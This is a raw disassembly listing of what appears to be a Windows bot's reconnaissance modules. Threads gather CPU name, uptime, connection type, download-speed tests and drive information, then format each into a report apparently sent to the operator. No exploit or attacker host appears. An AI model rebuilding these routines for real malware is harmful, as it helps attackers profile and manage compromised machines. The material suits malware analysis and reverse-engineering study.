loc_4085EB: ; CODE XREF: sub_4083AD+230j
mov [ebp+var_744], offset aNo ; "No"
loc_4085F5: ; CODE XREF: sub_4083AD+23Cj
mov eax, [ebp+var_744]
mov [ebp+var_4], eax
and [ebp+var_47C], 0
and [ebp+var_409], 0
xor eax, eax
cpuid
mov [ebp+var_488], ebx
mov [ebp+var_484], edx
mov [ebp+var_480], ecx
lea eax, [ebp+var_488]
mov [ebp+var_6EC], eax
and [ebp+var_70C], 0
lea eax, [ebp+var_70C]
push eax
push 20019h
push 0
push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
test eax, eax
jnz short loc_4086B3
and [ebp+var_73C], 0
mov [ebp+var_740], 80h
lea eax, [ebp+var_740]
push eax
lea eax, [ebp+var_488]
push eax
lea eax, [ebp+var_73C]
push eax
push 0
push offset aProcessornames ; "ProcessorNameString"
push [ebp+var_70C]
call ds:dword_41700C ; RegQueryValueExA
test eax, eax
jnz short loc_4086A7
push 1
push 1
lea eax, [ebp+var_488]
push eax
call sub_407C2C
add esp, 0Ch
loc_4086A7: ; CODE XREF: sub_4083AD+2E5j
push [ebp+var_70C]
call ds:dword_417028 ; RegCloseKey
loc_4086B3: ; CODE XREF: sub_4083AD+2A8j
cmp [ebp+var_6E4], 1
jnz short loc_4086C8
mov [ebp+var_748], offset byte_41DE30
jmp short loc_4086D2
; ---------------------------------------------------------------------------
loc_4086C8: ; CODE XREF: sub_4083AD+30Dj
mov [ebp+var_748], offset dword_4191F4
loc_4086D2: ; CODE XREF: sub_4083AD+319j
cmp [ebp+var_524], 1
jnz short loc_4086E7
mov [ebp+var_74C], offset byte_41DE30
jmp short loc_4086F1
; ---------------------------------------------------------------------------
loc_4086E7: ; CODE XREF: sub_4083AD+32Cj
mov [ebp+var_74C], offset dword_4191F4
loc_4086F1: ; CODE XREF: sub_4083AD+338j
cmp [ebp+var_6E8], 1
jnz short loc_408706
mov [ebp+var_750], offset byte_41DE30
jmp short loc_408710
; ---------------------------------------------------------------------------
loc_408706: ; CODE XREF: sub_4083AD+34Bj
mov [ebp+var_750], offset dword_4191F4
loc_408710: ; CODE XREF: sub_4083AD+357j
lea eax, [ebp+var_708]
push eax
lea eax, [ebp+var_6E0]
push eax
push [ebp+var_748]
push [ebp+var_6E4]
push [ebp+var_74C]
push [ebp+var_524]
push [ebp+var_750]
push [ebp+var_6E8]
push [ebp+var_4]
push [ebp+var_6F0]
push [ebp+var_738]
call sub_40821B
push eax
push [ebp+var_6EC]
push [ebp+var_514]
push [ebp+var_518]
push [ebp+var_51C]
push [ebp+var_710]
push [ebp+var_48C]
push offset dword_419104
push 400h
lea eax, [ebp+var_408]
push eax
call sub_416BAE ; _snprintf
add esp, 54h
lea eax, [ebp+var_408]
push eax
push offset aS ; "%s"
lea eax, [ebp+var_6C8]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_6CC]
call sub_409763
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_4083AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4087DE
jmp short locret_408806
; ---------------------------------------------------------------------------
loc_4087DE: ; CODE XREF: sub_4087C4+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aSysinfoThread ; "Sysinfo thread"
push 0
push [ebp+var_4]
push offset sub_4083AD
call sub_4095A4
add esp, 10h
locret_408806: ; CODE XREF: sub_4087C4+18j
leave
retn
sub_4087C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408808 proc near ; CODE XREF: sub_408887+Bp
; sub_408887+19p ...
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
push [ebp+arg_0]
lea eax, [ebp+var_28]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_28]
push eax
call sub_4105FB
pop ecx
call sub_416B64 ; clock
mov [ebp+var_4], eax
push 7D0h
push 0
push offset a80 ; "80"
lea eax, [ebp+var_28]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_8]
call sub_4053B1
pop ecx
cmp [ebp+var_8], 0
jnz short loc_40885F
mov eax, 3E8h
jmp short locret_408885
; ---------------------------------------------------------------------------
loc_40885F: ; CODE XREF: sub_408808+4Ej
call sub_416B64 ; clock
sub eax, [ebp+var_4]
cmp eax, 3E8h
jnb short loc_40887B
call sub_416B64 ; clock
sub eax, [ebp+var_4]
mov [ebp+var_2C], eax
jmp short loc_408882
; ---------------------------------------------------------------------------
loc_40887B: ; CODE XREF: sub_408808+64j
mov [ebp+var_2C], 3E8h
loc_408882: ; CODE XREF: sub_408808+71j
mov eax, [ebp+var_2C]
locret_408885: ; CODE XREF: sub_408808+55j
leave
retn
sub_408808 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408887 proc near ; CODE XREF: sub_408B30+1C2p
; sub_40CA29+1E9p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
push offset dword_418F60
call sub_408808
pop ecx
mov [ebp+var_4], eax
push offset dword_418F6C
call sub_408808
pop ecx
mov [ebp+var_8], eax
push offset dword_418F84
call sub_408808
pop ecx
mov [ebp+var_C], eax
push offset aJzFl ; "†‡Âݳ”«Ê"
call sub_408808
pop ecx
mov [ebp+var_10], eax
push offset dword_418FA0
call sub_408808
pop ecx
mov [ebp+var_14], eax
push offset dword_418FB0
call sub_408808
pop ecx
mov [ebp+var_18], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
add eax, [ebp+var_C]
add eax, [ebp+var_10]
add eax, [ebp+var_14]
add eax, [ebp+var_18]
xor edx, edx
push 6
pop ecx
div ecx
leave
retn
sub_408887 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p
var_438 = qword ptr -438h
var_430 = dword ptr -430h
var_42C = qword ptr -42Ch
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = byte ptr -308h
var_208 = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 438h
and [ebp+var_8], 0
jmp short loc_408912
; ---------------------------------------------------------------------------
loc_40890B: ; CODE XREF: sub_4088FC+23j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_408912: ; CODE XREF: sub_4088FC+Dj
mov eax, [ebp+var_8]
cmp off_418FC4[eax*4], 0
jz short loc_408921
jmp short loc_40890B
; ---------------------------------------------------------------------------
loc_408921: ; CODE XREF: sub_4088FC+21j
mov eax, [ebp+var_8]
shr eax, 1
mov [ebp+var_8], eax
and [ebp+var_4], 0
jmp short loc_408936
; ---------------------------------------------------------------------------
loc_40892F: ; CODE XREF: sub_4088FC+D6j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_408936: ; CODE XREF: sub_4088FC+31j
cmp [ebp+var_4], 3
jnb loc_408B2C
mov eax, [ebp+var_8]
dec eax
push eax
push 0
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_318], eax
mov eax, [ebp+var_318]
shl eax, 1
push off_418FC4[eax*4]
lea eax, [ebp+var_418]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_418]
push eax
call sub_4105FB
pop ecx
mov eax, [ebp+var_318]
shl eax, 1
push off_418FC8[eax*4]
lea eax, [ebp+var_308]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_308]
push eax
call sub_4105FB
pop ecx
push 2710h
push 0
push offset a80 ; "80"
lea eax, [ebp+var_418]
push eax
call sub_4050EA
add esp, 10h
mov [ebp+var_310], eax
cmp [ebp+var_310], 0
jnz short loc_4089D7
jmp loc_40892F
; ---------------------------------------------------------------------------
loc_4089D7: ; CODE XREF: sub_4088FC+D4j
lea eax, [ebp+var_418]
push eax
lea eax, [ebp+var_308]
push eax
push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
push 200h
lea eax, [ebp+var_208]
push eax
call sub_416BAE ; _snprintf
add esp, 14h
lea eax, [ebp+var_208]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_208]
push eax
push [ebp+var_310]
call sub_4053BF
add esp, 0Ch
and [ebp+var_314], 0
call sub_416B64 ; clock
mov [ebp+var_41C], eax
and [ebp+var_30C], 0
loc_408A3A: ; CODE XREF: sub_4088FC+1AFj
; sub_4088FC+22Bj
push 1388h
push 200h
lea eax, [ebp+var_208]
push eax
push [ebp+var_310]
call sub_405443
add esp, 10h
mov [ebp+var_420], eax
cmp [ebp+var_420], 0
jz short loc_408A93
cmp [ebp+var_420], 0FFFFFFFFh
jz short loc_408A93
call sub_416B64 ; clock
sub eax, [ebp+var_41C]
cmp eax, 1388h
jnb short loc_408A93
cmp [ebp+var_30C], 100000h
jb loc_408B15
loc_408A93: ; CODE XREF: sub_4088FC+16Aj
; sub_4088FC+173j ...
cmp [ebp+var_30C], 2000h
jnb short loc_408AAD
push [ebp+var_310]
call sub_40538D
pop ecx
jmp short loc_408A3A
; ---------------------------------------------------------------------------
loc_408AAD: ; CODE XREF: sub_4088FC+1A1j
mov eax, [ebp+var_30C]
mov dword ptr [ebp+var_42C], eax
and dword ptr [ebp+var_42C+4], 0
fild [ebp+var_42C]
fstp [ebp+var_430]
call sub_416B64 ; clock
sub eax, [ebp+var_41C]
mov dword ptr [ebp+var_438], eax
and dword ptr [ebp+var_438+4], 0
fild [ebp+var_438]
fdiv ds:flt_417270
fdivr [ebp+var_430]
call sub_416CF8 ; _ftol
mov [ebp+var_424], eax
push [ebp+var_310]
call sub_40538D
pop ecx
mov eax, [ebp+var_424]
jmp short locret_408B2E
; ---------------------------------------------------------------------------
loc_408B15: ; CODE XREF: sub_4088FC+191j
mov eax, [ebp+var_30C]
add eax, [ebp+var_420]
mov [ebp+var_30C], eax
jmp loc_408A3A
; ---------------------------------------------------------------------------
loc_408B2C: ; CODE XREF: sub_4088FC+3Ej
xor eax, eax
locret_408B2E: ; CODE XREF: sub_4088FC+217j
leave
retn
sub_4088FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408B30 proc near ; DATA XREF: sub_408E4A+35o
var_A9C = qword ptr -0A9Ch
var_A7C = qword ptr -0A7Ch
var_A74 = dword ptr -0A74h
var_A70 = dword ptr -0A70h
var_A6C = dword ptr -0A6Ch
var_A68 = dword ptr -0A68h
var_A64 = dword ptr -0A64h
var_A60 = dword ptr -0A60h
var_A5C = byte ptr -0A5Ch
var_8B8 = dword ptr -8B8h
var_8B4 = dword ptr -8B4h
var_8B0 = byte ptr -8B0h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = byte ptr -814h
var_414 = byte ptr -414h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A7Ch
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_A60]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push offset dword_41EF48
lea eax, [ebp+var_414]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
lea eax, [ebp+var_824]
push eax
push 0
push 0
push offset dword_41EF48
call dword_41DE84 ; getaddrinfo
test eax, eax
jnz short loc_408BBC
push 1
push 0
push 0
push 401h
lea eax, [ebp+var_414]
push eax
mov eax, [ebp+var_824]
push dword ptr [eax+10h]
mov eax, [ebp+var_824]
push dword ptr [eax+18h]
call dword_41DE88 ; getnameinfo
push [ebp+var_824]
call dword_41DE8C ; freeaddrinfo
loc_408BBC: ; CODE XREF: sub_408B30+54j
call sub_409318
mov [ebp+var_8B8], eax
mov eax, [ebp+var_8B8]
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_830], eax
mov eax, [ebp+var_8B8]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov [ebp+var_820], eax
mov eax, [ebp+var_8B8]
xor edx, edx
mov ecx, 15180h
div ecx
mov eax, edx
xor edx, edx
mov ecx, 0E10h
div ecx
mov eax, edx
xor edx, edx
push 3Ch
pop ecx
div ecx
mov [ebp+var_82C], eax
push offset aUnknown ; "Unknown"
lea eax, [ebp+var_8B0]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
push offset aUnknown ; "Unknown"
lea eax, [ebp+var_10]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
cmp dword_41DE7C, 0
jz short loc_408C9F
push 0
push 80h
lea eax, [ebp+var_8B0]
push eax
lea eax, [ebp+var_818]
push eax
call dword_41DE7C ; InternetGetConnectedStateExA
test eax, eax
jz short loc_408C9F
mov eax, [ebp+var_818]
and eax, 1
test eax, eax
jz short loc_408C8F
push offset aModem ; "Modem"
lea eax, [ebp+var_10]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
jmp short loc_408C9F
; ---------------------------------------------------------------------------
loc_408C8F: ; CODE XREF: sub_408B30+14Bj
push offset aLan ; "LAN"
lea eax, [ebp+var_10]
push eax
call sub_416B3A ; strcpy
pop ecx
pop ecx
loc_408C9F: ; CODE XREF: sub_408B30+11Fj
; sub_408B30+13Ej ...
call sub_4043E9
test eax, eax
jz short loc_408CB4
mov [ebp+var_A64], offset aYes ; "Yes"
jmp short loc_408CBE
; ---------------------------------------------------------------------------
loc_408CB4: ; CODE XREF: sub_408B30+176j
mov [ebp+var_A64], offset aNo ; "No"
loc_408CBE: ; CODE XREF: sub_408B30+182j
mov eax, [ebp+var_A64]
mov [ebp+var_8], eax
call sub_404279
test eax, eax
jz short loc_408CDC
mov [ebp+var_A68], offset aYes ; "Yes"
jmp short loc_408CE6
; ---------------------------------------------------------------------------
loc_408CDC: ; CODE XREF: sub_408B30+19Ej
mov [ebp+var_A68], offset aNo ; "No"
loc_408CE6: ; CODE XREF: sub_408B30+1AAj
mov eax, [ebp+var_A68]
mov [ebp+var_8B4], eax
call sub_408887
mov [ebp+var_828], eax
mov [ebp+var_81C], offset aBad ; "Bad"
cmp [ebp+var_828], 2EEh
jnb short loc_408D1D
mov [ebp+var_81C], offset aAvarage ; "Avarage"
loc_408D1D: ; CODE XREF: sub_408B30+1E1j
cmp [ebp+var_828], 1F4h
jnb short loc_408D33
mov [ebp+var_81C], offset aGood ; "Good"
loc_408D33: ; CODE XREF: sub_408B30+1F7j
call sub_4088FC
mov [ebp+var_4], eax
cmp [ebp+var_82C], 1
jnz short loc_408D50
mov [ebp+var_A6C], offset byte_41DE30
jmp short loc_408D5A
; ---------------------------------------------------------------------------
loc_408D50: ; CODE XREF: sub_408B30+212j
mov [ebp+var_A6C], offset dword_4191F4
loc_408D5A: ; CODE XREF: sub_408B30+21Ej
cmp [ebp+var_820], 1
jnz short loc_408D6F
mov [ebp+var_A70], offset byte_41DE30
jmp short loc_408D79
; ---------------------------------------------------------------------------
loc_408D6F: ; CODE XREF: sub_408B30+231j
mov [ebp+var_A70], offset dword_4191F4
loc_408D79: ; CODE XREF: sub_408B30+23Dj
cmp [ebp+var_830], 1
jnz short loc_408D8E
mov [ebp+var_A74], offset byte_41DE30
jmp short loc_408D98
; ---------------------------------------------------------------------------
loc_408D8E: ; CODE XREF: sub_408B30+250j
mov [ebp+var_A74], offset dword_4191F4
loc_408D98: ; CODE XREF: sub_408B30+25Cj
push [ebp+var_A6C]
push [ebp+var_82C]
push [ebp+var_A70]
push [ebp+var_820]
push [ebp+var_A74]
push [ebp+var_830]
mov eax, [ebp+var_4]
mov dword ptr [ebp+var_A7C], eax
and dword ptr [ebp+var_A7C+4], 0
fild [ebp+var_A7C]
fdiv ds:flt_417274
push ecx
push ecx
fstp [esp+0A9Ch+var_A9C]
push [ebp+var_828]
push [ebp+var_81C]
push [ebp+var_8B4]
push [ebp+var_8]
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8B0]
push eax
lea eax, [ebp+var_414]
push eax
push offset dword_419284
push 400h
lea eax, [ebp+var_814]
push eax
call sub_416BAE ; _snprintf
add esp, 48h
lea eax, [ebp+var_814]
push eax
push offset aS ; "%s"
lea eax, [ebp+var_A5C]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_A60]
call sub_409763
pop ecx
xor eax, eax
leave
retn 4
sub_408B30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_408E64
jmp short locret_408E8C
; ---------------------------------------------------------------------------
loc_408E64: ; CODE XREF: sub_408E4A+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aNetinfoThread ; "Netinfo thread"
push 0
push [ebp+var_4]
push offset sub_408B30
call sub_4095A4
add esp, 10h
locret_408E8C: ; CODE XREF: sub_408E4A+18j
leave
retn
sub_408E4A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p
; sub_40CA29+2DAp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
push ebp
mov ebp, esp
sub esp, 24h
mov eax, dword_419398
mov [ebp+var_1C], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
loc_408EA4: ; CODE XREF: sub_408E8E+95j
lea eax, [ebp+var_1C]
push eax
call ds:dword_4170CC ; GetDriveTypeA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_408F14
cmp [ebp+var_10], 1
jz short loc_408F14
cmp [ebp+var_10], 5
jz short loc_408EE1
cmp [ebp+var_10], 2
jz short loc_408EE1
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_4170C8 ; GetDiskFreeSpaceExA
jmp short loc_408EF1
; ---------------------------------------------------------------------------
loc_408EE1: ; CODE XREF: sub_408E8E+33j
; sub_408E8E+39j
push 8
push 0
lea eax, [ebp+var_24]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_408EF1: ; CODE XREF: sub_408E8E+51j
push 0
push 100000h
push [ebp+var_20]
push [ebp+var_24]
call sub_416C90
mov [ebp+var_24], eax
mov [ebp+var_20], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
loc_408F14: ; CODE XREF: sub_408E8E+27j
; sub_408E8E+2Dj
mov al, byte ptr [ebp+var_1C]
add al, 1
mov byte ptr [ebp+var_1C], al
movsx eax, byte ptr [ebp+var_1C]
cmp eax, 5Ah
jnz loc_408EA4
mov eax, [ebp+var_C]
leave
retn
sub_408E8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F2E proc near ; DATA XREF: sub_4091E2+35o
var_5DC = dword ptr -5DCh
var_5D8 = dword ptr -5D8h
var_5D4 = dword ptr -5D4h
var_5D0 = byte ptr -5D0h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = byte ptr -420h
var_418 = dword ptr -418h
var_414 = dword ptr -414h
var_410 = dword ptr -410h
var_40C = byte ptr -40Ch
var_404 = byte ptr -404h
var_3EF = byte ptr -3EFh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5DCh
push esi
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_5D4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 5
pop ecx
mov esi, offset aDriveInformati ; "Drive information - "
lea edi, [ebp+var_404]
rep movsd
movsb
mov ecx, 0FAh
xor eax, eax
lea edi, [ebp+var_3EF]
rep stosd
stosw
stosb
mov eax, dword_419398
mov [ebp+var_424], eax
and [ebp+var_418], 0
and [ebp+var_5D8], 0
and [ebp+var_414], 0
mov [ebp+var_410], 1
loc_408FA6: ; CODE XREF: sub_408F2E+23Bj
lea eax, [ebp+var_424]
push eax
call ds:dword_4170CC ; GetDriveTypeA
mov [ebp+var_5DC], eax
cmp [ebp+var_5DC], 0
jz loc_409151
cmp [ebp+var_5DC], 1
jz loc_409151
cmp [ebp+var_5DC], 2
jnz short loc_408FE5
mov [ebp+var_4], offset aRemovable ; "removable"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_408FE5: ; CODE XREF: sub_408F2E+ACj
cmp [ebp+var_5DC], 3
jnz short loc_408FF7
mov [ebp+var_4], offset aFixed ; "fixed"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_408FF7: ; CODE XREF: sub_408F2E+BEj
cmp [ebp+var_5DC], 4
jnz short loc_409009
mov [ebp+var_4], offset aRemote ; "remote"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_409009: ; CODE XREF: sub_408F2E+D0j
cmp [ebp+var_5DC], 5
jnz short loc_40901B
mov [ebp+var_4], offset aCdRom ; "cd-rom"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_40901B: ; CODE XREF: sub_408F2E+E2j
cmp [ebp+var_5DC], 6
jnz short loc_40902D
mov [ebp+var_4], offset aRamdisk ; "ramdisk"
jmp short loc_409034
; ---------------------------------------------------------------------------
loc_40902D: ; CODE XREF: sub_408F2E+F4j
mov [ebp+var_4], offset aUnknown_0 ; "unknown"
loc_409034: ; CODE XREF: sub_408F2E+B5j
; sub_408F2E+C7j ...
cmp [ebp+var_5DC], 5
jz short loc_40906A
cmp [ebp+var_5DC], 2
jz short loc_40906A
lea eax, [ebp+var_42C]
push eax
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_40C]
push eax
lea eax, [ebp+var_424]
push eax
call ds:dword_4170C8 ; GetDiskFreeSpaceExA
jmp short loc_40907D
; ---------------------------------------------------------------------------
loc_40906A: ; CODE XREF: sub_408F2E+10Dj
; sub_408F2E+116j
push 8
push 0
lea eax, [ebp+var_42C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_40907D: ; CODE XREF: sub_408F2E+13Aj
push 0
push 100000h
push [ebp+var_428]
push [ebp+var_42C]
call sub_416C90
mov [ebp+var_42C], eax
mov [ebp+var_428], edx
cmp [ebp+var_410], 0
jnz short loc_4090BF
push offset dword_419404
lea eax, [ebp+var_404]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
jmp short loc_4090C6
; ---------------------------------------------------------------------------
loc_4090BF: ; CODE XREF: sub_408F2E+17Aj
and [ebp+var_410], 0
loc_4090C6: ; CODE XREF: sub_408F2E+18Fj
mov eax, [ebp+var_42C]
or eax, [ebp+var_428]
test eax, eax
jz short loc_40910A
push [ebp+var_428]
push [ebp+var_42C]
push [ebp+var_4]
lea eax, [ebp+var_424]
push eax
lea eax, [ebp+var_404]
push eax
push offset dword_4193E4
lea eax, [ebp+var_404]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 1Ch
jmp short loc_409130
; ---------------------------------------------------------------------------
loc_40910A: ; CODE XREF: sub_408F2E+1A6j
push [ebp+var_4]
lea eax, [ebp+var_424]
push eax
lea eax, [ebp+var_404]
push eax
push offset dword_4193D4
lea eax, [ebp+var_404]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 14h
loc_409130: ; CODE XREF: sub_408F2E+1DAj
mov eax, [ebp+var_42C]
mov ecx, [ebp+var_414]
add ecx, eax
mov [ebp+var_414], ecx
mov eax, [ebp+var_5D8]
inc eax
mov [ebp+var_5D8], eax
loc_409151: ; CODE XREF: sub_408F2E+92j
; sub_408F2E+9Fj
mov al, byte ptr [ebp+var_424]
add al, 1
mov byte ptr [ebp+var_424], al
movsx eax, byte ptr [ebp+var_424]
cmp eax, 5Ah
jnz loc_408FA6
cmp [ebp+var_5D8], 0
jz short loc_40918B
push offset dword_419404
lea eax, [ebp+var_404]
push eax
call sub_416B70 ; strcat
pop ecx
pop ecx
loc_40918B: ; CODE XREF: sub_408F2E+248j
push [ebp+var_414]
push [ebp+var_5D8]
lea eax, [ebp+var_404]
push eax
push offset dword_41939C
lea eax, [ebp+var_404]
push eax
call ds:dword_4171E0 ; wsprintfA
add esp, 14h
lea eax, [ebp+var_404]
push eax
push offset aS ; "%s"
lea eax, [ebp+var_5D0]
push eax
call sub_40D53F
add esp, 0Ch
push [ebp+var_5D4]
call sub_409763
pop ecx
xor eax, eax
pop edi
pop esi
leave
retn 4
sub_408F2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4091E2 proc near ; CODE XREF: sub_40A9CF+1C61p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4091FC
jmp short locret_409224
; ---------------------------------------------------------------------------
loc_4091FC: ; CODE XREF: sub_4091E2+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aDriveinfoThrea ; "Driveinfo thread"
push 0
push [ebp+var_4]
push offset sub_408F2E
call sub_4095A4
add esp, 10h
locret_409224: ; CODE XREF: sub_4091E2+18j
leave
retn
sub_4091E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409226 proc near ; CODE XREF: sub_416ADB-D5p
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call ds:dword_4170D8 ; QueryPerformanceCounter
lea eax, [ebp+var_10]
push eax
call ds:dword_4170D4 ; QueryPerformanceFrequency
cmp [ebp+var_4], 0
jl short loc_40928E
jg short loc_40924E
cmp [ebp+var_8], 0
jbe short loc_40928E
loc_40924E: ; CODE XREF: sub_409226+20j
cmp [ebp+var_C], 0
jl short loc_40928E
jg short loc_40925C
cmp [ebp+var_10], 0
jbe short loc_40928E
loc_40925C: ; CODE XREF: sub_409226+2Ej
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_416D10
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_416CFE ; ceil
pop ecx
pop ecx
call sub_416CF8 ; _ftol
mov dword_41E2D0, eax
jmp short locret_4092A2
; ---------------------------------------------------------------------------
loc_40928E: ; CODE XREF: sub_409226+1Ej
; sub_409226+26j ...
call ds:dword_4170D0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_41E2D0, eax
locret_4092A2: ; CODE XREF: sub_409226+66j
leave
retn
sub_409226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4092A4 proc near ; CODE XREF: sub_4083AD+61p
; sub_40A9CF+1CCAp ...
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp+var_8]
push eax
call ds:dword_4170D8 ; QueryPerformanceCounter
lea eax, [ebp+var_10]
push eax
call ds:dword_4170D4 ; QueryPerformanceFrequency
cmp [ebp+var_4], 0
jl short loc_409307
jg short loc_4092CC
cmp [ebp+var_8], 0
jbe short loc_409307
loc_4092CC: ; CODE XREF: sub_4092A4+20j
cmp [ebp+var_C], 0
jl short loc_409307
jg short loc_4092DA
cmp [ebp+var_10], 0
jbe short loc_409307
loc_4092DA: ; CODE XREF: sub_4092A4+2Ej
push [ebp+var_C]
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_8]
call sub_416D10
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
push ecx
fstp [esp+20h+var_20]
call sub_416CFE ; ceil
pop ecx
pop ecx
call sub_416CF8 ; _ftol
jmp short locret_409316
; ---------------------------------------------------------------------------
loc_409307: ; CODE XREF: sub_4092A4+1Ej
; sub_4092A4+26j ...
call ds:dword_4170D0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
locret_409316: ; CODE XREF: sub_4092A4+61j
leave
retn
sub_4092A4 endp
